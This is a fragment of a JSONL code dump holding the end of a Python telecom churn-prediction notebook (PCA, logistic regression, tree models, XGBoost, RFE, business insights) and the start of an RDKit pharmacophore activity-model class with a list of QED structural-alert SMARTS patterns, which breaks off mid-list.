plt.ylabel(\"Cumulative variance explained\")\n    plt.show()\n\n\ndef perform_increpca(X_train,X_test,no_comp):\n    pca_final = IncrementalPCA(n_components=no_comp)\n    X_train_pca = pca_final.fit_transform(X_train)\n    X_test_pca = pca_final.transform(X_test)\n\n    X_train_pca = pd.DataFrame(data = X_train_pca)\n    X_test_pca = pd.DataFrame(data = X_test_pca)\n\n    print('X_train_data',X_train_pca.shape)\n    #print(y_train_bal.shape)\n    print('X_test_data',X_test_pca.shape)\n    #print(y_test.shape)\n    \n    # create a correlation map for principal components derived from PCA\n    corrmat = np.corrcoef(X_train_pca.transpose())\n    \n    #plotting the correlation matrix\n    plt.figure(figsize = (20,10))\n    sns.heatmap(corrmat, annot = True)\n    plt.show()\n    \n    return X_train_pca, X_test_pca\n\n\nperform_PCA(X_train_bal)\n#perform_PCA(X_train_scaled)\n\n# - For 95% variance the number of components to be choosen is 30\n\nX_train_pca,X_test_pca = perform_increpca(X_train_bal,X_test_scaled,30)\n#X_train_pca,X_test_pca = perform_increpca(X_train_scaled,X_test_scaled,40)\n\n# - From above heatmap it shows that data is nicely spearated from each other features i.e. no multicollinearity\n\n# ### User-defined functions for repetitive tasks for training & evaluation\n\ndef get_churnprob(df_train_pca):\n    y_train_pred = model_pca.predict_proba(X_train_pca)[:,1]\n    y_train_pred_final = pd.DataFrame({'Churn':y_train_bal, 'Churn_Prob':y_train_pred})\n    # Let's create columns with different probability cutoffs \n    numbers = [float(x)/10 for x in range(10)]\n    for i in numbers:\n        y_train_pred_final[i]= y_train_pred_final.Churn_Prob.map(lambda x: 1 if x > i else 0)\n    y_train_pred_final.head()\n    # Now let's calculate accuracy sensitivity and specificity for various probability cutoffs.\n    cutoff_df = pd.DataFrame( columns = ['prob','accuracy','sensi','specificity'])        \n    \n    # TP = confusion[1,1] # true positive \n    # TN = confusion[0,0] # true negatives\n    # FP = confusion[0,1] # false positives\n    # FN = confusion[1,0] # false negatives\n    num = [0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9]\n    for i in num:\n        cm1 = metrics.confusion_matrix(y_train_pred_final.Churn, y_train_pred_final[i] )\n        total1=sum(sum(cm1))\n        accuracy = (cm1[0,0]+cm1[1,1])/total1\n        speci = cm1[0,0]/(cm1[0,0]+cm1[0,1])\n        sensi = cm1[1,1]/(cm1[1,0]+cm1[1,1])\n        cutoff_df.loc[i] =[ i ,accuracy,sensi,speci]\n    print(cutoff_df)\n    # Let's plot accuracy sensitivity and specificity for various probabilities.\n    cutoff_df.plot.line(x='prob', y=['accuracy','sensi','specificity'])\n    plt.show()\n\n\ndef draw_roc( actual, probs ):\n    fpr, tpr, thresholds = metrics.roc_curve( actual, probs,\n                                              drop_intermediate = False )\n    auc_score = metrics.roc_auc_score( actual, probs )\n    plt.figure(figsize=(5, 5))\n    plt.plot( fpr, tpr, label='ROC curve (area = %0.2f)' % auc_score )\n    plt.plot([0, 1], [0, 1], 'k--')\n    plt.xlim([0.0, 1.0])\n    plt.ylim([0.0, 1.05])\n    plt.xlabel('False Positive Rate or [1 - True Negative Rate]')\n    plt.ylabel('True Positive Rate')\n    plt.title('Receiver operating characteristic example')\n    plt.legend(loc=\"lower right\")\n    plt.show()\n\n    return None\n\n\ndef get_scores(scores,model_pca,X_test_pca):\n    #if prob_churn > 0:\n        #y_test_pred_probs = model_pca.predict_proba(X_test_pca)[:,1]\n        #y_test_pred = np.where(model_pca.predict_proba(X_test_pca)[:,1] > prob_churn, 1, 0)\n        #y_test_df=pd.DataFrame(y_test)\n        #y_pred_df=pd.DataFrame(y_test_pred_probs)\n        #y_test_df.reset_index(drop=True, inplace=True)\n        #y_pred_df.reset_index(drop=True, inplace=True)\n        #y_test_pred_final=pd.concat([y_test_df, y_pred_df],axis=1)\n        # Renaming the column\n        #y_test_pred_final = y_test_pred_final.rename(columns={ 0 : 'Churn_prob'})\n        #y_test_pred_final['final_predicted'] = y_test_pred_final.Churn_prob.map(lambda x: 1 if x > prob_churn else 0)\n    #else:\n    y_test_pred_probs = model_pca.predict_proba(X_test_pca)[:,1]\n    y_test_pred = model_pca.predict(X_test_pca)\n    test_confusion = confusion_matrix(y_test, y_test_pred)       \n    TP = test_confusion[1,1] # true positive\n    TN = test_confusion[0,0] # true negatives\n    FP = test_confusion[0,1] # false positives\n    FN = test_confusion[1,0] # false negatives\n    \n    # Let's see the parameters of our logistic regression model\n    model_Accuracy = accuracy_score(y_test,y_test_pred)\n    fpr, tpr, thresholds = roc_curve(y_test, y_test_pred_probs, drop_intermediate = False )\n    p,r,t = precision_recall_curve(y_test,y_test_pred)\n    model_Recall = recall_score(y_test,y_test_pred)\n    model_f1_score = f1_score(y_test,y_test_pred)\n    model_Precision = precision_score(y_test,y_test_pred)\n    model_auc_score = auc(fpr,tpr)\n    model_roc_area = roc_auc_score(y_test,y_test_pred_probs)\n    model_FalsePositiveRate = FP / float(FP + TN)\n    model_Specificity = TN / float(TN + FP)\n    model_FalseNegativeRate = FN / float(FN + TP)\n    model_auc_roc = auc(fpr, tpr)\n    model_auc_pr = auc(p,r)\n    \n    print('model_Accuracy-',model_Accuracy)\n    print('model_Recall/Sensitivity-',model_Recall)\n    print('model_Precision/TPR-',model_Precision)\n    print('model_f1_score-',model_f1_score)\n    print('model_auc_score-',model_auc_score)\n    print('model_roc_area-',model_roc_area)\n    print('FPR-',model_FalsePositiveRate)\n    print('Specificity/TNR-',model_Specificity)\n    print('FNR-',model_FalseNegativeRate)\n    \n    scores.append((model_f1_score,model_Precision,model_Recall,model_Accuracy,model_auc_score, model_auc_pr,test_confusion))  \n    # Plot ROC and PR curves using all models and test data\n   \n    fig, axes = plt.subplots(1, 2, figsize = (14, 6))\n    axes[0].plot(fpr, tpr, label = f\"auc_roc = {model_auc_roc:.3f}\")\n    axes[1].plot(r, p, label = f\"auc_pr = {model_auc_pr:.3f}\")\n\n    axes[0].plot([0, 1], [0, 1], 'k--')\n    axes[0].legend(loc = \"lower right\")\n    axes[0].set_xlabel(\"False Positive Rate\")\n    axes[0].set_ylabel(\"True Positive Rate\")\n    axes[0].set_title(\"AUC ROC curve\")\n\n    axes[1].legend(loc = \"lower right\")\n    axes[1].set_xlabel(\"recall\")\n    axes[1].set_ylabel(\"precision\")\n    axes[1].set_title(\"PR curve\")\n\n    plt.tight_layout()\n    plt.show()\n    #draw_roc(y_test,y_test_pred)\n    #precision_recall_curve(y_test,y_test_pred)\n    #plt.plot(thresholds, p, \"g-\")\n    #plt.plot(thresholds, r, \"r-\")\n    plt.show()\n    return scores\n\n\ndef hypertuning_plot(scores, parameter):\n    \n    col = \"param_\" + parameter\n    \n    plt.figure()\n    \n    plt.plot(scores[col], scores[\"mean_train_score\"], label = \"training accuracy\")\n    plt.plot(scores[col], scores[\"mean_test_score\"], label = \"test accuracy\")\n    \n    plt.xlabel(parameter)\n    plt.ylabel(\"Accuracy\")\n    \n    plt.legend()\n    plt.show()\n\n\n# ## 6. Model Building\n\n# ### Logistic Regression\n\nlr_pca = LogisticRegression(class_weight='balanced')\nmodel_pca = lr_pca.fit(X_train_pca, y_train_bal)\n#get_churnprob(X_train_pca)\n\nscores = []\nscores = get_scores(scores,model_pca,X_test_pca)\n# Tabulate results\nsampling_results = pd.DataFrame(scores, columns = ['f1', 'precision', 'recall', 'accuracy',\n                                                   'auc_roc','auc_pr', 'confusion_matrix'])\nsampling_results\n\n# +\n##Logistic Regression - HyperTuning Penalty\n\n# GridSearchCV to find best penalty\n\nlr = LogisticRegression(class_weight={0:0.1, 1: 0.9})\n\nparameter = ['penalty','C']\n\n# parameters to build the model on\nparam_grid = {'penalty': ['l1', 'l2','none'],\n              'C': [0.1,0.5,1,5,10,50,100,400,500,1000]\n             }\n# create 5 folds\nfolds = StratifiedKFold(n_splits = 5, shuffle = True, random_state = 100)\n\ngc = GridSearchCV(estimator = lr, param_grid = param_grid, scoring = 'recall',n_jobs = -1, cv = folds, verbose = 2,return_train_score=True)   \ngc.fit(X_train_pca,y_train_bal)\n\n#print(scores)\n# Plot the scores\n#for param in parameter:\n   # print(param)\n    #hypertuning_plot(scores, param)\n# scores of GridSearch CV\ncv_results = pd.DataFrame(gc.cv_results_)\n# Get the best value\ngc.best_params_\n# -\n\ncv_results[cv_results['rank_test_score']==1].head()\n\nprint(\"Best AUC: \", gc.best_score_)\nprint(\"Best hyperparameters: \", gc.best_params_)\n\n# +\n# predict churn on test data\ny_pred = gc.predict(X_test_pca)\n\n# create onfusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity: \\t\", round(sensitivity, 2), \"\\n\", \"Specificity: \\t\", round(specificity, 2), sep='')\n\n# check area under curve\ny_pred_prob = gc.predict_proba(X_test_pca)[:, 1]\nprint(\"AUC:    \\t\", round(roc_auc_score(y_test, y_pred_prob),2))\n\n# +\n# Logistic with best parameters obtained from grid search\n\nlr = LogisticRegression(penalty = 'l2', C = 0.1, class_weight={0:0.4, 1: 0.6})\n\nlrf = lr.fit(X_train_pca,y_train_bal)\n#lef.predict(X_test_pca.values)[:, 1:]\n# Get the Score Metrics and plots\nscores = []\n\nscores = get_scores(scores, lrf, X_test_pca)\n\n# Tabulate results\nsampling_results = pd.DataFrame(scores, columns = ['f1', 'precision', 'recall', 'accuracy',\n                                                   'auc_roc', 'auc_pr', 'confusion_matrix'])\nsampling_results\n# -\n\nprint(classification_report(y_test, gc.predict(X_test_pca), target_names=['0','1']))\n\n# ### Decision Trees\n\nperform_PCA(X_train_bal)\n\nX_train_dt,X_test_dt = perform_increpca(X_train_bal,X_test,30)\n\n# +\nfrom sklearn.tree import DecisionTreeClassifier\n\nscore = make_scorer('auc_score', greater_is_better=True)\nparam_grid={'max_depth':[5,10,20,None],'max_features':['sqrt','log2',None],'class_weight':['balanced']}\ngc = GridSearchCV(DecisionTreeClassifier(),cv=5,refit=True,param_grid=param_grid,scoring='recall')\ngc.fit(X_train_dt,y_train_bal)\nprint('best estimator',gc.best_estimator_)\nprint('best score',gc.best_score_)\n# -\n\nprint(\"Best AUC: \", gc.best_score_)\nprint(\"Best hyperparameters: \", gc.best_params_)\n\n# +\n# predict churn on test data\ny_pred = gc.predict(X_test_dt)\n\n# create onfusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity: \\t\", round(sensitivity, 2), \"\\n\", \"Specificity: \\t\", round(specificity, 2), sep='')\n\n# check area under curve\ny_pred_prob = gc.predict_proba(X_test_dt)[:, 1]\nprint(\"AUC:    \\t\", round(roc_auc_score(y_test, y_pred_prob),2))\n# -\n\n# ### Random Forest\n\nperform_PCA(X_train_bal)\nX_train_dt,X_test_dt = perform_increpca(X_train_bal,X_test,30)\n\n# +\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import RandomizedSearchCV\n\n# RandomizedSearchCV - HPT \n\nn_estimators = [100, 200, 500, 700, 900, 1000] # no of tress [200,210,220,230.....20000]\nmax_features = ['auto', 'sqrt']\nmax_depth = [4,5,6,7,8]\nmin_samples_split = [2, 5, 8, 10]\nmin_samples_leaf = [1, 2, 3, 4]\nbootstrap = [True, False]\n\nrandom_grid = {'n_estimators': n_estimators,\n               'max_features': max_features,\n               'max_depth': max_depth, \n               'min_samples_split': min_samples_split,\n               'min_samples_leaf': min_samples_leaf,\n               'criterion' :['gini', 'entropy'],\n               'bootstrap': bootstrap}\n\nrand_forest = RandomForestClassifier(class_weight={0:0.1, 1: 0.9},random_state=100)\n\nrf_random = RandomizedSearchCV(estimator=rand_forest, param_distributions=random_grid, n_iter=100, cv=3, \n                               verbose=2, random_state = 100, n_jobs=-1)\nrf_random.fit(X_train_dt, y_train_bal)\n# -\n\nprint(\"Best AUC: \", gc.best_score_)\nprint(\"Best hyperparameters: \", gc.best_params_)\n\n# +\n# predict churn on test data\ny_pred = gc.predict(X_test_dt)\n\n# create onfusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity: \\t\", round(sensitivity, 2), \"\\n\", \"Specificity: \\t\", round(specificity, 2), sep='')\n\n# check area under curve\ny_pred_prob = gc.predict_proba(X_test_dt)[:, 1]\nprint(\"AUC:    \\t\", round(roc_auc_score(y_test, y_pred_prob),2))\n# -\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity:\", round(sensitivity, 2))\nprint(\"Specificity:\", round(specificity, 2))\n# check area under curve\n#y_pred_prob = gc.predict_proba(X_test_dt)[:, 1]\nprint(\"AUC:\", round(roc_auc_score(y_test, y_pred_prob),2))\nprint('model_Recall:',round(recall_score(y_test,y_pred),2))\nprint('model_f1_score:',round(f1_score(y_test,y_pred),2))\nprint('model_Precision:',round( precision_score(y_test,y_pred),2))\n\n# ### XGBOOST\n\nfrom xgboost import XGBClassifier\n\nxgb_cfl = XGBClassifier(use_label_encoder=False,n_jobs = -1,objective = 'binary:logistic',eval_metric='error')\n# Fit the model to our train and target\nxgb_cfl.fit(X_train_dt, y_train_bal)  # default \n# Get our predictions\nxgb_predictions = xgb_cfl.predict(X_test_dt)\n#xgb_predictions_prob = \n\n# +\n# predict churn on test data\ny_pred = xgb_cfl.predict(X_test_dt)\ny_pred_prob = xgb_cfl.predict_proba(X_test_dt)[:,1]\n# create onfusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity: \\t\", round(sensitivity, 2), \"\\n\", \"Specificity: \\t\", round(specificity, 2), sep='')\n\n# check area under curve\n#y_pred_prob = gc.predict_proba(X_test_dt)[:, 1]\nprint(\"AUC:    \\t\", round(roc_auc_score(y_test, y_pred_prob),2))\n# -\n\n# ## Model to choose best features\n\ndf =df_highvalue_cust.copy()\n\ndf_highvalue_cust.head()\n\n# +\n# Divide data into train and test\n\nX = df.drop(\"Churn\", axis = 1)\ny = df.Churn\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.70, test_size = 0.30, random_state = 100, stratify = y)\n# -\n\nscaler_feat = RobustScaler()\nX_train_scaled = scaler_feat.fit_transform(X_train)\nX_test_scaled = scaler_feat.transform(X_test)\n\nX_train = pd.DataFrame(data = X_train_scaled, index = X_train.index, columns = X_train.columns)\nX_test = pd.DataFrame(data = X_test_scaled, index = X_test.index, columns = X_test.columns)\n\n# ### RFE\n\n# +\n\nimport statsmodels.api as sm\nfrom sklearn.feature_selection import RFE\n# Check for the VIF values of the feature variables. \nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n\n# +\nn_features_list = list(range(30, 40)) #checking for optimal number of features between 20 to 60\ntrain_adjusted_r2 = []\ntrain_r2 = []\ntest_r2 = []\ntrain_RMSE=[]\ntest_RMSE=[]\n\nfor n_features in range(30, 40):\n\n    # RFE with n features\n    lm = LogisticRegression()\n\n    # specifying number of features\n    rfe_n = RFE(estimator=lm, n_features_to_select=n_features)\n\n    # fit with n features\n    rfe_n.fit(X_train, y_train)\n\n    # selecting features selected by rfe_n\n    col_n = X_train.columns[rfe_n.support_] #rfe_n.support_: returns an array with boolean values to indicate whether \n    #an attribute was selected using RFE\n\n    # training & test data for n selected columns\n    X_train_rfe_n = X_train[col_n]\n    X_test_rfe_n = X_test[col_n]\n\n\n    # add a constant to the model\n    X_train_rfe_n = sm.add_constant(X_train_rfe_n)\n\n\n    X_test_rfe_n = sm.add_constant(X_test_rfe_n, has_constant='add')\n\n    \n    \n    # fitting the model with n featues\n    lm_sm = sm.OLS(y_train, X_train_rfe_n).fit()\n    \n    \n    # # Making predictions\n    y_pred_test = lm_sm.predict(X_test_rfe_n)\n    y_pred_train = lm_sm.predict(X_train_rfe_n)\n    \n    \n    #Calculating evaluation metrics\n    \n    #R-square\n    train_adjusted_r2.append(lm_sm.rsquared_adj)\n    train_r2.append(lm_sm.rsquared)\n    test_r2.append(r2_score(y_test, y_pred_test))\n    \n    #RMSE/stan. error\n    error_test=y_pred_test-y_test\n    error_train=y_pred_train-y_train\n    \n    test_RMSE.append(((error_test**2).mean())**0.5)\n    train_RMSE.append(((error_train**2).mean())**0.5)\n\n# +\n# plotting r2 and RMSE against n_features\n#reference from web and modified accordingly\nimport matplotlib.ticker as plticker\n\nfig,ax=plt.subplots(2,1,figsize=(13, 9))\nax[0].plot(n_features_list, train_r2,'b', label=\"r2_train data\")\nax[0].plot(n_features_list, test_r2,'g', label=\"r2_test data\")\nax[0].set_xlabel('Features Count')\n#method 1 of ticks\nax[0].legend(loc='upper left')\nloc = plticker.MultipleLocator(base=1)\nax[0].xaxis.set_major_locator(loc)\n#plt.show()\n\nax[1].plot(n_features_list, train_RMSE, 'b',label=\"RMSE_train data\")\nax[1].plot(n_features_list, test_RMSE, 'g',label=\"RMSE_test data\")\nax[1].set_xlabel('Features Count')\n#method 2 of ticks\nax[1].legend(loc='upper left')\nplt.xticks(np.arange(0, 51, step=1))\n\nplt.show()\n# -\n\nfrom sklearn.linear_model import LogisticRegression\nlogreg = LogisticRegression()\nfrom sklearn.feature_selection import RFE\nrfe = RFE(logreg, 35)             # running RFE with 35 variables as output\nrfe = rfe.fit(X_train, y_train)\nlist(zip(X_train.columns, rfe.support_, rfe.ranking_))\n\nX_train.columns[rfe.support_]\n\nX_train_rfe = X_train[X_train.columns[rfe.support_]]\nX_test_rfe = X_test[X_train.columns[rfe.support_]]\n\nX_train_rfe.head()\n\n# #### create a heatmap to check correlation\n\ncorr_val = X_train_rfe.corr()\ncorr_val.loc[:,:] = np.tril(corr_val, k=-1)\ncorr_val = corr_val.stack()\nval = corr_val[(corr_val >= 0.60) | (corr_val <= -0.60)].sort_values()\n\ncorre_values = val.index.tolist()\ncorre_values\n\ncols_todrop = []\nfor i in range(len(corre_values)):\n    cols_todrop.append(corre_values[i][1])\ncols_todrop\n\nplt.figure(figsize=(17,13))\nsns.heatmap(X_train_rfe.corr(), annot = True);\nplt.show()\n\n# Drop columns with high correlation from above heatmap\n#cols_todrop = ['night_pck_user_drop','loc_ic_mou_drop_ovrall','total_rech_amt_drop_ovrall','spl_ic_mou_drop_ovrall','total_og_mou_drop_ovrall']\nX_train_rfe = X_train_rfe.drop(cols_todrop,axis=1)\nX_test_rfe = X_test_rfe.drop(cols_todrop,axis=1)\n\n# #### Assessing model using rfe columns\n\nX_train_sm = sm.add_constant(X_train_rfe)\nlogm2 = sm.GLM(y_train,X_train_sm, family = sm.families.Binomial())\nres = logm2.fit()\nres.summary()\n\n# Check for the VIF values of the feature variables. \nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n# Create a dataframe that will contain the names of all the feature variables and their respective VIFs\nvif = pd.DataFrame()\nvif['Features'] = X_train_rfe.columns\nvif['VIF'] = [variance_inflation_factor(X_train_rfe.values, i) for i in range(X_train_rfe.shape[1])]\nvif['VIF'] = round(vif['VIF'], 2)\nvif = vif.sort_values(by = \"VIF\", ascending = False)\nvif\n\n# - based on above summary it make confident enogh that there is not much possibility of multi-collinearity among features.\n#  - X_train_rfe - no of features to train the model\n\n# +\n# logistic regression\nsteps = [\n         (\"logistic\", LogisticRegression(class_weight='balanced'))]\n\n# compile pipeline\nlogistic = Pipeline(steps)\n\n# hyperparameter space\nparams = {'logistic__C': [0.1, 0.5, 1, 2, 3, 4, 5, 10], 'logistic__penalty': ['l1', 'l2']}\n\n# create 5 folds\nfolds = StratifiedKFold(n_splits = 5, shuffle = True, random_state = 100)\n\n# create gridsearch object\nmodel = GridSearchCV(estimator=logistic, cv=folds, param_grid=params, scoring='recall', n_jobs=-1, verbose=1)\n# -\n\n# fit model\nmodel.fit(X_train_rfe, y_train)\n\n# print best hyperparameters\nprint(\"Best AUC: \", model.best_score_)\nprint(\"Best hyperparameters: \", model.best_params_)\n\n# +\n# predict churn on test data\ny_pred = model.predict(X_test_rfe)\n\n# create onfusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(cm)\n\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity: \\t\", round(sensitivity, 2), \"\\n\", \"Specificity: \\t\", round(specificity, 2), sep='')\n\n# check area under curve\ny_pred_prob = model.predict_proba(X_test_rfe)[:, 1]\nprint(\"AUC:    \\t\", round(roc_auc_score(y_test, y_pred_prob),2))\n# check sensitivity and specificity\nsensitivity, specificity, _ = sensitivity_specificity_support(y_test, y_pred, average='binary')\nprint(\"Sensitivity:\", round(sensitivity, 2))\nprint(\"Specificity:\", round(specificity, 2))\n# check area under curve\n#y_pred_prob = gc.predict_proba(X_test_dt)[:, 1]\nprint(\"AUC:\", round(roc_auc_score(y_test, y_pred_prob),2))\nprint('model_Recall:',round(recall_score(y_test,y_pred),2))\nprint('model_f1_score:',round(f1_score(y_test,y_pred),2))\nprint('model_Precision:',round( precision_score(y_test,y_pred),2))\n# -\n\nmodel.best_estimator_\n\n\n\n# +\n# Logistic with best parameters obtained from grid search\n\nlr = LogisticRegression( C = 0.1,class_weight='balanced', n_jobs = -1, random_state = 100)\n\nlrf = lr.fit(X_train_rfe,y_train)\n#lef.predict(X_test_pca.values)[:, 1:]\n# Get the Score Metrics and plots\nscores = []\n\nprint('Test Data Evaluataion Scores')\nscores = get_scores(scores, lrf, X_test_rfe)\n\n# Tabulate results\nsampling_results = pd.DataFrame(scores, columns = ['f1', 'precision', 'recall', 'accuracy',\n                                                   'auc_roc', 'auc_pr', 'confusion_matrix'])\nsampling_results\n# -\n\n# #### Get feature wise importance\n\nmodel_parameter = lr.coef_.tolist()\nmodel_parameter = model_parameter[0]\n#model_parameter.append()\nmodel_parameter.insert(0,lr.intercept_[0])\ncols = X_train_rfe.columns\ncols = cols.insert(0,'constant')\nlr_coef = pd.DataFrame(list(zip(cols,model_parameter)))\nlr_coef.columns = ['Feature','Coef']\n\nlr_coef = lr_coef.sort_values(by='Coef',ascending=False)\nlr_coef.Feature\n\nplt.figure(figsize=(45,25))\nsplot = sns.barplot(x='Feature',y='Coef',data=lr_coef.head(15),orient='v')\nfor p in splot.patches:\n    splot.annotate(format(p.get_height(), '.3f'), \n                   (p.get_x() + p.get_width() / 2., p.get_height()), \n                   ha = 'center', va = 'center', \n                   xytext = (0,5), \n                   textcoords = 'offset points')\nplt.title('Best fitline coefficients')\nplt.xlabel('Predictor Variable')\nplt.ylabel('Coefficients')\nplt.show()\n\n# ## Summary\n\n# #### Top features affecting the customers to churn\n# -                  fb_user_drop\n# -       roam_og_mou_drop_ovrall\n# -      total_ic_mou_drop_ovrall\n# -         onnet_mou_drop_ovrall\n# -                   vbc_3g_drop\n# -        std_ic_mou_drop_ovrall\n# -              arpu_drop_ovrall\n# -        std_og_mou_drop_ovrall\n# -        isd_ic_mou_drop_ovrall\n# -    loc_og_t2c_mou_drop_ovrall\n\n# #### Business Insights\n#\n# - Customers who are facebook users and use fb packs tend to churn more, if their facebook recharge packs drop gradually. \n#\n# - The telecom company must focus on the roaming rates. They could provide good offers to customer using roaming services. Moreover it is also possible that the roaming network of the telecom company might be weak in some areas due to which customers might be churning.\n#\n# - Company must also focus on STD and ISD rates. Perhaps, the rates are too high. Provide them with some kind of STD and ISD packages.\n#\n# - Volume  Based Cost - is always blind fold to customer. So if there is any slight change in price or speed. Customer dissatisfaction leads to churn.\n", "meta": {"hexsha": "233ce8adb04233ea1d26be5f624c0d5a66f4ae10", "size": 53845, "ext": "py", "lang": "Python", "max_stars_repo_path": "Telecom_Churn_Case_Study.py", "max_stars_repo_name": "AbhishekKumar-0311/ML-Telecom-Churn-Prediction", "max_stars_repo_head_hexsha": "d6315fc5a1fab3d79a23beb1d9ce23b382e70b07", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Telecom_Churn_Case_Study.py", "max_issues_repo_name": "AbhishekKumar-0311/ML-Telecom-Churn-Prediction", "max_issues_repo_head_hexsha": "d6315fc5a1fab3d79a23beb1d9ce23b382e70b07", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Telecom_Churn_Case_Study.py", "max_forks_repo_name": "AbhishekKumar-0311/ML-Telecom-Churn-Prediction", "max_forks_repo_head_hexsha": "d6315fc5a1fab3d79a23beb1d9ce23b382e70b07", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.1928104575, "max_line_length": 442, "alphanum_fraction": 0.7095180611, "include": true, "reason": "import numpy,from numpy,from scipy,import statsmodels,from statsmodels", "num_tokens": 14998, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.15817434878009673, "lm_q1q2_score": 0.07908717439004836}}
{"text": "# coding=utf-8\n\nimport pickle\nfrom typing import List\n\nimport numpy as np\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem\nfrom rdkit.Chem.Pharm2D import Generate\n\nimport utils\nfrom chem.pharmacophore import factory\n\n\nclass activity_model_pharmacophoric(object):\n    \"\"\"Predicts activity with a pharmacophore fingerprint classifier.\n       Also includes both desirable and undesirable fragments/SMARTS.\"\"\"\n\n    def __init__(self, clf_path: utils.FilePath, ecfp_clf_path: utils.FilePath):\n        with open(clf_path, \"rb\") as f:\n            self.clf = pickle.load(f)\n        with open(ecfp_clf_path, \"rb\") as f:\n            self.ecfp_clf = pickle.load(f)\n        self.qed_alerts = [\n            \"*1[O,S,N]*1\",\n            \"[S,C](=[O,S])[F,Br,Cl,I]\",\n            \"[CX4][Cl,Br,I]\",\n            \"[C,c]S(=O)(=O)O[C,c]\",\n            \"[$([CH]),$(CC)]#CC(=O)[C,c]\",\n            \"[$([CH]),$(CC)]#CC(=O)O[C,c]\",\n            \"n[OH]\",\n            \"[$([CH]),$(CC)]#CS(=O)(=O)[C,c]\",\n            \"C=C(C=O)C=O\",\n            \"n1c([F,Cl,Br,I])cccc1\",\n            \"[CH1](=O)\",\n            \"[O,o][O,o]\",\n            \"[C;!R]=[N;!R]\",\n            \"[N!R]=[N!R]\",\n            \"[#6](=O)[#6](=O)\",\n            \"[S,s][S,s]\",\n            \"[N,n][NH2]\",\n            \"C(=O)N[NH2]\",\n            \"[C,c]=S\",\n            \"[$([CH2]),$([CH][CX4]),$(C([CX4])[CX4])]=[$([CH2]),$([CH][CX4]),$(C([CX4])[CX4])]\",\n            \"C1(=[O,N])C=CC(=[O,N])C=C1\",\n            \"C1(=[O,N])C(=[O,N])C=CC=C1\",\n            \"a21aa3a(aa1aaaa2)aaaa3\",\n            \"a31a(a2a(aa1)aaaa2)aaaa3\",\n            \"a1aa2a3a(a1)A=AA=A3=AA=A2\",\n            \"c1cc([NH2])ccc1\",\n            \"[Hg,Fe,As,Sb,Zn,Se,se,Te,B,Si,Na,Ca,Ge,Ag,Mg,K,Ba,Sr,Be,Ti,Mo,Mn,Ru,Pd,Ni,Cu,Au,Cd,Al,\\\n            Ga,Sn,Rh,Tl,Bi,Nb,Li,Pb,Hf,Ho]\",\n            \"I\",\n            \"OS(=O)(=O)[O-]\",\n            \"[N+](=O)[O-]\",\n            \"C(=O)N[OH]\",\n            \"C1NC(=O)NC(=O)1\",\n            \"[SH]\",\n            \"[S-]\",\n            \"c1ccc([Cl,Br,I,F])c([Cl,Br,I,F])c1[Cl,Br,I,F]\",\n            \"c1cc([Cl,Br,I,F])cc([Cl,Br,I,F])c1[Cl,Br,I,F]\",\n            \"[CR1]1[CR1][CR1][CR1][CR1][CR1][CR1]1\",\n            \"[CR1]1[CR1][CR1]cc[CR1][CR1]1\",\n            \"[CR2]1[CR2][CR2][CR2][CR2][CR2][CR2][CR2]1\",\n            \"[CR2]1[CR2][CR2]cc[CR2][CR2][CR2]1\",\n            \"[CH2R2]1N[CH2R2][CH2R2][CH2R2][CH2R2][CH2R2]1\",\n            \"[CH2R2]1N[CH2R2][CH2R2][CH2R2][CH2R2][CH2R2][CH2R2]1\",\n            \"C#C\",\n            \"[OR2,NR2]@[CR2]@[CR2]@[OR2,NR2]@[CR2]@[CR2]@[OR2,NR2]\",\n            \"[$([N+R]),$([n+R]),$([N+]=C)][O-]\",\n            \"[C,c]=N[OH]\",\n            \"[C,c]=NOC=O\",\n            \"[C,c](=O)[CX4,CR0X3,O][C,c](=O)\",\n            \"c1ccc2c(c1)ccc(=O)o2\",\n            \"[O+,o+,S+,s+]\",\n            \"N=C=O\",\n            \"[NX3,NX4][F,Cl,Br,I]\",\n            \"c1ccccc1OC(=O)[#6]\",\n            \"[CR0]=[CR0][CR0]=[CR0]\",\n            \"[C+,c+,C-,c-]\",\n            \"N=[N+]=[N-]\",\n            \"C12C(NC(N1)=O)CSC2\",\n            \"c1c([OH])c([OH,NH2,NH])ccc1\",\n            \"P\",\n            \"[N,O,S]C#N\",\n            \"C=C=O\",\n            \"[SX2]O\",\n            \"[SiR0,CR0](c1ccccc1)(c2ccccc2)(c3ccccc3)\",\n            \"O1CCCCC1OC2CCC3CCCCC3C2\",\n            \"N=[CR0][N,n,O,S]\",\n            